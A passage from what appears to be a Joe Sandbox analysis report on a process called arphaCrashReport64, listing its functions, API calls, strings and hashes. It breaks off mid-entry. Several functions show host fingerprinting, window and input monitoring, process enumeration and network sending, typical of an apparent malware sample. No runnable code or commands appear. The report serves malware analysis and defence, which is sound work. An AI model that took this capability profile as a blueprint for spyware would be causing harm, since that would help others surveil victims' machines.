Instruction Fuzzy Hash: 07313D21A0DA4BA7EB10AFA1F4602B9F360BF49B44F8A4135DA4D07695EF3CE544E360

Function 00007FFE11394FD0 Relevance: 9.1, APIs: 6, Instructions: 122
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_getptd.LIBCMT ref: 00007FFE11394FEF

Part of subcall function 00007FFE11394B60: _getptd.LIBCMT ref: 00007FFE11394B6A

Part of subcall function 00007FFE11394CC8: GetOEMCP.KERNEL32(?,?,?,?,?,?,?,00007FFE1139500A,?,?,?,?,?,00007FFE113951DF), ref: 00007FFE11394CF2

Part of subcall function 00007FFE11392C64: malloc.LIBCMT ref: 00007FFE11392C83
Part of subcall function 00007FFE11392C64: Sleep.KERNEL32(?,?,00000000,00007FFE113943D5,?,?,?,00007FFE1139447F), ref: 00007FFE11392C9A

free.LIBCMT ref: 00007FFE1139507B

Part of subcall function 00007FFE11391EA8: HeapFree.KERNEL32(?,?,?,00007FFE113916FD), ref: 00007FFE11391EBE
Part of subcall function 00007FFE11391EA8: _errno.LIBCMT ref: 00007FFE11391EC8
Part of subcall function 00007FFE11391EA8: GetLastError.KERNEL32(?,?,?,00007FFE113916FD), ref: 00007FFE11391ED0

_lock.LIBCMT ref: 00007FFE113950B3
free.LIBCMT ref: 00007FFE11395163
free.LIBCMT ref: 00007FFE11395193
_errno.LIBCMT ref: 00007FFE11395198

Memory Dump Source

Source File: 00000005.00000002.3529388038.00007FFE11391000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE11390000, based on PE: true

Associated: 00000005.00000002.3529354662.00007FFE11390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529427774.00007FFE1139A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529464710.00007FFE1139E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529497074.00007FFE113A1000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffe11390000_arphaCrashReport64.jbxd

Similarity

API ID: free$_errno_getptd$ErrorFreeHeapLastSleep_lockmalloc
String ID:
API String ID: 2878544890-0
Opcode ID: e7b31d940b5e61bc55c6da1b419915fdda316d163dca5b5054fd05ae409f7391
Instruction ID: c892bf4a9f300cacc248fb5c740e4f4f73a6ef6591e6b05ff3b8da9632f1196c
Opcode Fuzzy Hash: e7b31d940b5e61bc55c6da1b419915fdda316d163dca5b5054fd05ae409f7391
Instruction Fuzzy Hash: 7651B062908E8A86FB549B269440279B6A9FB80B74F1641B6DA5F433FDCF3CE481C710

Function 00000217793930BC Relevance: 9.1, APIs: 6, Instructions: 63threadCOMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000217793930E7
_invalid_parameter_noinfo.LIBCMT ref: 00000217793930F2
_getptd.LIBCMT ref: 0000021779393118
CreateThread.KERNELBASE ref: 000002177939316D
GetLastError.KERNEL32 ref: 0000021779393178
free.LIBCMT ref: 0000021779393183

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: CreateErrorLastThread_errno_getptd_invalid_parameter_noinfofree
String ID:
API String ID: 3283625137-0
Opcode ID: 682c3161d626f3e06a97a55f13333c3dfc29333ffe79b4f3941292e52bca3446
Instruction ID: 90242dce76cc87dc548a7fd36792e97defd615e07eb9cc8b4992381b9ccd2b22
Opcode Fuzzy Hash: 682c3161d626f3e06a97a55f13333c3dfc29333ffe79b4f3941292e52bca3446
Instruction Fuzzy Hash: 3021447120A78085E614AF65A5493EEF2B0F7E8BF8F445625EE69037D6CF3CC4528700

Function 00000217793921D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32 ref: 000002177939222B
lstrcpy.KERNEL32 ref: 0000021779392241
wsprintfA.USER32 ref: 0000021779392270

Strings

UnKnow, xrefs: 0000021779392235
SOFTWARE\%sW\, xrefs: 0000021779392261

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: ComputerNamelstrcpywsprintf
String ID: SOFTWARE\%sW\$UnKnow
API String ID: 2045598086-1925786254
Opcode ID: ce4fb7f75d1219ad2289e25997fa7daa82040d6d259ef8843f123cfa3a06188e
Instruction ID: 62a4b81a2043bcc206c179eaf6a15162ee64b7585f87c0a010579de2ecff8021
Opcode Fuzzy Hash: ce4fb7f75d1219ad2289e25997fa7daa82040d6d259ef8843f123cfa3a06188e
Instruction Fuzzy Hash: 4B111A7121998191FA20DF11E8497EAA372F7ED768F805011D64D47AE5EB3DC10ACB10

Function 00007FFE11391390 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00007FFE113913A0
LoadLibraryA.KERNELBASE ref: 00007FFE113913B4

Strings

Kernel32.dll, xrefs: 00007FFE11391399
Advapi32.dll, xrefs: 00007FFE113913A6

Memory Dump Source

Source File: 00000005.00000002.3529388038.00007FFE11391000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE11390000, based on PE: true

Associated: 00000005.00000002.3529354662.00007FFE11390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529427774.00007FFE1139A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529464710.00007FFE1139E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529497074.00007FFE113A1000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffe11390000_arphaCrashReport64.jbxd

Similarity

API ID: HandleLibraryLoadModule
String ID: Advapi32.dll$Kernel32.dll
API String ID: 4133054770-3188642331
Opcode ID: 418ce45b5ec06e1b2862c4412dc0c3816f81b2d1ecedce3597085fe4abdcdff0
Instruction ID: e98de1ded55916dfd8bcbd9ee94a56f4690e30166c56afaed238ebc9ead1276d
Opcode Fuzzy Hash: 418ce45b5ec06e1b2862c4412dc0c3816f81b2d1ecedce3597085fe4abdcdff0
Instruction Fuzzy Hash: 77E0E230E0AE1B81EB049B03B88026832ACFF55720F9201B1C04F423BCEE3DA4A9C300

Function 00007FFE11394D58 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFE11394CC8: GetOEMCP.KERNEL32(?,?,?,?,?,?,?,00007FFE1139500A,?,?,?,?,?,00007FFE113951DF), ref: 00007FFE11394CF2

IsValidCodePage.KERNEL32(?,?,?,00000000,00000000,00000000,?,00007FFE11395050,?,?,?,?,?,00007FFE113951DF), ref: 00007FFE11394DDB
GetCPInfo.KERNEL32(?,?,?,00000000,00000000,00000000,?,00007FFE11395050,?,?,?,?,?,00007FFE113951DF), ref: 00007FFE11394DF0

Strings

ExW, xrefs: 00007FFE11394E20

Memory Dump Source

Source File: 00000005.00000002.3529388038.00007FFE11391000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE11390000, based on PE: true

Associated: 00000005.00000002.3529354662.00007FFE11390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529427774.00007FFE1139A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529464710.00007FFE1139E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529497074.00007FFE113A1000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffe11390000_arphaCrashReport64.jbxd

Similarity

API ID: CodeInfoPageValid
String ID: ExW
API String ID: 546120528-2616828304
Opcode ID: 9ec4cdaa8fe45a7dc26e4c49f13c391a527cd7fe7a4114bc5d8f532e0099a1ca
Instruction ID: c2dd5c9ecee54ea563eb6e9d4154210dc08800a9f6014ceb0d8255068be710ff
Opcode Fuzzy Hash: 9ec4cdaa8fe45a7dc26e4c49f13c391a527cd7fe7a4114bc5d8f532e0099a1ca
Instruction Fuzzy Hash: AE7124A3E0CA8A46FB748B26925417D6699AF40764F4680B6D38F476FDDE3CE845C300

Function 0000021779383080 Relevance: 4.6, APIs: 3, Instructions: 58COMMON

Download Yara Rule

APIs

Process32First.KERNEL32 ref: 00000217793830A0
FindCloseChangeNotification.KERNELBASE ref: 0000021779383144

Part of subcall function 00000217793934EC: _errno.LIBCMT ref: 00000217793934FE
Part of subcall function 00000217793934EC: _invalid_parameter_noinfo.LIBCMT ref: 0000021779393509

Process32Next.KERNEL32 ref: 000002177938311E

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: Process32$ChangeCloseFindFirstNextNotification_errno_invalid_parameter_noinfo
String ID:
API String ID: 1362859326-0
Opcode ID: 38c2abb4abafc69136a7456c2adf4735da2ec9da11d856ab3c788e6b6e9f4e49
Instruction ID: b008793611b97a93e2749c9cd97f0e79f9f26be82d67776999b0bf3d967c9f3c
Opcode Fuzzy Hash: 38c2abb4abafc69136a7456c2adf4735da2ec9da11d856ab3c788e6b6e9f4e49
Instruction Fuzzy Hash: 54112C76319A4082EB109F22A8187AAF7A4F7ACBF4F545621EE59437D8DA3CC4468704

Function 000002177938ED81 Relevance: 4.6, APIs: 3, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 0000021779393290: malloc.LIBCMT ref: 00000217793932AA

GetLastInputInfo.USER32 ref: 000002177938EDCA
GetTickCount.KERNEL32 ref: 000002177938EDD0
GetForegroundWindow.USER32 ref: 000002177938EDFE

Part of subcall function 0000021779382F20: IsWindow.USER32 ref: 0000021779382F37
Part of subcall function 0000021779382F20: GetWindowThreadProcessId.USER32 ref: 0000021779382F63
Part of subcall function 0000021779382F20: GetCurrentProcessId.KERNEL32 ref: 0000021779382F6B
Part of subcall function 0000021779382F20: GetCurrentThreadId.KERNEL32 ref: 0000021779382F77
Part of subcall function 0000021779382F20: GetWindowTextA.USER32 ref: 0000021779382F8D

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: Window$CurrentProcessThread$CountForegroundInfoInputLastTextTickmalloc
String ID:
API String ID: 3323085477-0
Opcode ID: 44b1e6e62a3808914b2990803f0d3b32f4d0b914e85da03f9fa56ac4a72c0795
Instruction ID: 6890170791530bbb6b1ee2d79070f84df9fe9c26763cbc02cbdb4d8a95df2d8d
Opcode Fuzzy Hash: 44b1e6e62a3808914b2990803f0d3b32f4d0b914e85da03f9fa56ac4a72c0795
Instruction Fuzzy Hash: 8C110A3261A24086DB54DF36A848399E6B0E7D9BA0F04A025EA8647BC9DF7CC845C700

Function 000002177938E907 Relevance: 4.6, APIs: 3, Instructions: 53COMMON

Download Yara Rule

APIs

Part of subcall function 0000021779393290: malloc.LIBCMT ref: 00000217793932AA

GetLastInputInfo.USER32 ref: 000002177938EDCA
GetTickCount.KERNEL32 ref: 000002177938EDD0
GetForegroundWindow.USER32 ref: 000002177938EDFE

Part of subcall function 0000021779382F20: IsWindow.USER32 ref: 0000021779382F37
Part of subcall function 0000021779382F20: GetWindowThreadProcessId.USER32 ref: 0000021779382F63
Part of subcall function 0000021779382F20: GetCurrentProcessId.KERNEL32 ref: 0000021779382F6B
Part of subcall function 0000021779382F20: GetCurrentThreadId.KERNEL32 ref: 0000021779382F77
Part of subcall function 0000021779382F20: GetWindowTextA.USER32 ref: 0000021779382F8D

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: Window$CurrentProcessThread$CountForegroundInfoInputLastTextTickmalloc
String ID:
API String ID: 3323085477-0
Opcode ID: 53f4fb6f92e301a670ffe44a7bcae88315d6365779e7b2565db4d3ad9d44070f
Instruction ID: c201e1ebdc27a0bea809d15acac9826aab71ee0a4f1d73d8f206ccd84cb88ef5
Opcode Fuzzy Hash: 53f4fb6f92e301a670ffe44a7bcae88315d6365779e7b2565db4d3ad9d44070f
Instruction Fuzzy Hash: EA11B63261A64086EB54DF26F848799D3B0E7D8BA0F04A420EE4A47BC9DF78C446C740

Function 00000217793983F4 Relevance: 4.5, APIs: 3, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE ref: 000002177939840A
GetVersion.KERNEL32 ref: 000002177939841C
HeapSetInformation.KERNEL32 ref: 000002177939843A

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: Heap$CreateInformationVersion
String ID:
API String ID: 3563531100-0
Opcode ID: 9ef408723e01272be0652c1ccd660a47e6133f0586bb4a4d1fd94ecd904275c3
Instruction ID: eca07a6f19bfbd8bf61eec70ccc6426c6c4de37f114228813118ff0abde85a70
Opcode Fuzzy Hash: 9ef408723e01272be0652c1ccd660a47e6133f0586bb4a4d1fd94ecd904275c3
Instruction Fuzzy Hash: 2CE0657861BA8092FB855F24A80D7EAA2B0FBEC364F806518E90A427E4DF3C8057C600

Function 00007FFE1139497C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 125COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 00007FFE113949AB

Strings

, xrefs: 00007FFE113949D4

Memory Dump Source

Source File: 00000005.00000002.3529388038.00007FFE11391000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE11390000, based on PE: true

Associated: 00000005.00000002.3529354662.00007FFE11390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529427774.00007FFE1139A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529464710.00007FFE1139E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529497074.00007FFE113A1000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffe11390000_arphaCrashReport64.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: a25030c6f73ece0fe48594fa4548755820865811698b87b855136faf09de3d18
Instruction ID: b34f31205062d2a4be2110cd77c5e78a5799590be2be5849141605657fbb1bce
Opcode Fuzzy Hash: a25030c6f73ece0fe48594fa4548755820865811698b87b855136faf09de3d18
Instruction Fuzzy Hash: 2651B032A1CAC586E721CF25E1403AEBBA8F789354F554275DBCE43A99DB7DD406CB00

Function 0000021779382900 Relevance: 3.1, APIs: 2, Instructions: 65networkCOMMON

Download Yara Rule

APIs

send.WS2_32 ref: 0000021779382960
send.WS2_32 ref: 000002177938299F

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: a7a69a6c44eae31ac87e71d4d49eb2ed0d436db1612ea634298a4d147ca241f4
Instruction ID: 376c1b8c3dc42a4ce12038db28b5a2a79601cec27ac7b38bd7e5d266d6923e77
Opcode Fuzzy Hash: a7a69a6c44eae31ac87e71d4d49eb2ed0d436db1612ea634298a4d147ca241f4
Instruction Fuzzy Hash: EE21083270968140E7204F16A849FA9F6A5FBDDBE0F542535EE5443BD1EA74C463C300

Function 0000021779383430 Relevance: 3.1, APIs: 2, Instructions: 60COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32 ref: 000002177938346F
GetComputerNameA.KERNEL32 ref: 00000217793834C5

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: ComputerCurrentNameProfile
String ID:
API String ID: 3082751485-0
Opcode ID: e2a9adb5299dfcb7f963bcc1a221c1a79a9d13bacd767ea76fef39f5dd3caca1
Instruction ID: 8f59b51b12562e6a0613fc96a7da94490bed8799413e7a18834f493eb2bc0393
Opcode Fuzzy Hash: e2a9adb5299dfcb7f963bcc1a221c1a79a9d13bacd767ea76fef39f5dd3caca1
Instruction Fuzzy Hash: 15214A7221DAC095EB70CF24E4543EAF7A2F798768F405316EAA943AD9DB3DC109CB11

Function 00007FFE113951F0 Relevance: 3.1, APIs: 2, Instructions: 52memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00007FFE11395213

Part of subcall function 00007FFE11392464: DecodePointer.KERNEL32 ref: 00007FFE1139248B

RtlAllocateHeap.NTDLL(?,?,?,?,00000000,00007FFE11392D03,?,?,?,00007FFE113929F3,?,?,?,00007FFE1139253D), ref: 00007FFE1139525C

Memory Dump Source

Source File: 00000005.00000002.3529388038.00007FFE11391000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE11390000, based on PE: true

Associated: 00000005.00000002.3529354662.00007FFE11390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529427774.00007FFE1139A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529464710.00007FFE1139E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529497074.00007FFE113A1000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffe11390000_arphaCrashReport64.jbxd

Similarity

API ID: AllocateDecodeHeapPointer_errno
String ID:
API String ID: 15861996-0
Opcode ID: bb8eed43e8797b31d408fed5b93d30ae15ba08089fb6024745d6490033012783
Instruction ID: 8167f710fb6c90834a027cf759b9b8cea7107d6c2df41c4a9637789c7993174b
Opcode Fuzzy Hash: bb8eed43e8797b31d408fed5b93d30ae15ba08089fb6024745d6490033012783
Instruction Fuzzy Hash: C811E721B0DE4A81FF545B67E6043796399AF54BB4F0A86B2EE5F066ECDF3C94818600

Function 00000217793819A0 Relevance: 3.1, APIs: 2, Instructions: 51networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 0000021779381A19
CreateEventA.KERNEL32 ref: 0000021779381A2A

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: CreateEventStartup
String ID:
API String ID: 1546077022-0
Opcode ID: 2818f70f87d22685dae2d894ab73b2053dca43e1e2db7108a8644fd358597901
Instruction ID: 2b8948947982bfb4189ce06af11875a79fb59480e4cb5a3d7d50740b4134c858
Opcode Fuzzy Hash: 2818f70f87d22685dae2d894ab73b2053dca43e1e2db7108a8644fd358597901
Instruction Fuzzy Hash: E0210C32205B8086E7148F19F854799B3F9F7A8B68F24522ACA9947BA4DF36C067C740

Function 00007FFE11393B20 Relevance: 3.0, APIs: 2, Instructions: 18memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNELBASE(?,?,?,?,00007FFE113918F5), ref: 00007FFE11393B32
HeapSetInformation.KERNEL32 ref: 00007FFE11393B5C

Memory Dump Source

Source File: 00000005.00000002.3529388038.00007FFE11391000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE11390000, based on PE: true

Associated: 00000005.00000002.3529354662.00007FFE11390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529427774.00007FFE1139A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529464710.00007FFE1139E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529497074.00007FFE113A1000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffe11390000_arphaCrashReport64.jbxd

Similarity

API ID: Heap$CreateInformation
String ID:
API String ID: 1774340351-0
Opcode ID: 308323cf0e965bc60dd3766130036a00e0fb6afe90f427625239b759be2b3a8c
Instruction ID: 898e5f5f24a0742735f789b8f4c0d8cf887cd78e3a9b0aff1b41ccdef6ec40f5
Opcode Fuzzy Hash: 308323cf0e965bc60dd3766130036a00e0fb6afe90f427625239b759be2b3a8c
Instruction Fuzzy Hash: 44E04FB5A2AB9582EB88AB27A8057656694FB88390F815079E94E027A8DF3CD0458A00

Function 0000021779381370 Relevance: 2.6, APIs: 2, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 00000217793813E1
VirtualFree.KERNELBASE ref: 0000021779381415

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: ec9b96369609cc7b76882b531fbdd83dd41e6b39cdc7d89fc169277994d9546c
Instruction ID: f28e6c143807021dd24f2baca4b4af0ab84313096a631d25aeff61c41cd74a6b
Opcode Fuzzy Hash: ec9b96369609cc7b76882b531fbdd83dd41e6b39cdc7d89fc169277994d9546c
Instruction Fuzzy Hash: 2721F232719A4087D748CF2AE144759E3B0F79CB90F149121EB4A93B98EF74C8E38B00

Function 00000217793812B0 Relevance: 2.6, APIs: 2, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 0000021779381303
VirtualFree.KERNEL32 ref: 000002177938133C

Memory Dump Source

Source File: 00000005.00000002.3528737888.0000021779380000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000021779380000, based on PE: true

Associated: 00000005.00000002.3528737888.00000217793A8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3528737888.0000021779661000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21779380000_arphaCrashReport64.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 90bdbeb053a759dfb6172123d893b3ef7054f36a6b9beffb9720844b7b812231
Instruction ID: 6574e596afc122908a05fb49d19f5a9e6ad04643eb116435deae20dcc74f8425
Opcode Fuzzy Hash: 90bdbeb053a759dfb6172123d893b3ef7054f36a6b9beffb9720844b7b812231
Instruction Fuzzy Hash: F4113831316B4086D758CF35A54465AF3B0E7E8BD4F189125EA4A83B98EF38C893CB40

Function 00007FFE11392C64 Relevance: 2.5, APIs: 2, Instructions: 30sleepCOMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 00007FFE11392C83

Part of subcall function 00007FFE11391D34: _FF_MSGBANNER.LIBCMT ref: 00007FFE11391D64
Part of subcall function 00007FFE11391D34: RtlAllocateHeap.NTDLL(?,?,00000000,00007FFE11392C88,?,?,00000000,00007FFE113943D5,?,?,?,00007FFE1139447F), ref: 00007FFE11391D89
Part of subcall function 00007FFE11391D34: _errno.LIBCMT ref: 00007FFE11391DAD
Part of subcall function 00007FFE11391D34: _errno.LIBCMT ref: 00007FFE11391DB8

Sleep.KERNEL32(?,?,00000000,00007FFE113943D5,?,?,?,00007FFE1139447F), ref: 00007FFE11392C9A

Memory Dump Source

Source File: 00000005.00000002.3529388038.00007FFE11391000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFE11390000, based on PE: true

Associated: 00000005.00000002.3529354662.00007FFE11390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529427774.00007FFE1139A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529464710.00007FFE1139E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3529497074.00007FFE113A1000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffe11390000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$AllocateHeapSleepmalloc
String ID:
API String ID: 4275769124-0
Opcode ID: 2024ef6d46135b65a82486e01a40526ee360ed3e040809e9ef4306df607f230c
Instruction ID: 4169c75226b0d295adb82d3f4360aa6dd46782d743d55b34d4b427c3a5c2142f
Opcode Fuzzy Hash: 2024ef6d46135b65a82486e01a40526ee360ed3e040809e9ef4306df607f230c
Instruction Fuzzy Hash: 3EF06832A09F8A86EF559F17A44003D7669EB84BB0F554274EA5E13769CF3CE8528B80

Function 0000021777960BA8 Relevance: 1.6, APIs: 1, Instructions: 81libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL ref: 0000021777960C12

Memory Dump Source

Source File: 00000005.00000002.3528254259.0000021777960000.00000040.00000020.00020000.00000000.sdmp, Offset: 0000021777960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21777960000_arphaCrashReport64.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 69111f15a2d0270f3eeecba9dc460e45d4b585d133afc9cc5827b8d965684d0d
Instruction ID: 70c0842f22da18e30278619b2218877478af4988a5775514dc2b02f48f52bec8
Opcode Fuzzy Hash: 69111f15a2d0270f3eeecba9dc460e45d4b585d133afc9cc5827b8d965684d0d
Instruction Fuzzy Hash: 3021963051EA881FE7C6E778849EADAB7E1EFE8254F14859E9046C72A7D874C806C741

Function 0000021777960BED Relevance: 1.6, APIs: 1, Instructions: 53libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL ref: 0000021777960C12

Memory Dump Source

Source File: 00000005.00000002.3528254259.0000021777960000.00000040.00000020.00020000.00000000.sdmp, Offset: 0000021777960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21777960000_arphaCrashReport64.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 47237f35a7d7fc4a1514b19f5afff082ff5af56ddef17f6a5fd0dd2c4143e39f
Instruction ID: 611d958727be7fb410e07d942602b9e1fc89d4a3efca0f5219a4e26ea089c3a8
Opcode Fuzzy Hash: 47237f35a7d7fc4a1514b19f5afff082ff5af56ddef17f6a5fd0dd2c4143e39f
Instruction Fuzzy Hash: 7C01D830519A084FEBC0EB7944DEADEF2E2FFEC201F50851A5006C329ADC70C902CB41

Function 00007FF73D1DADE4 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF73D1DAE0F

Memory Dump Source

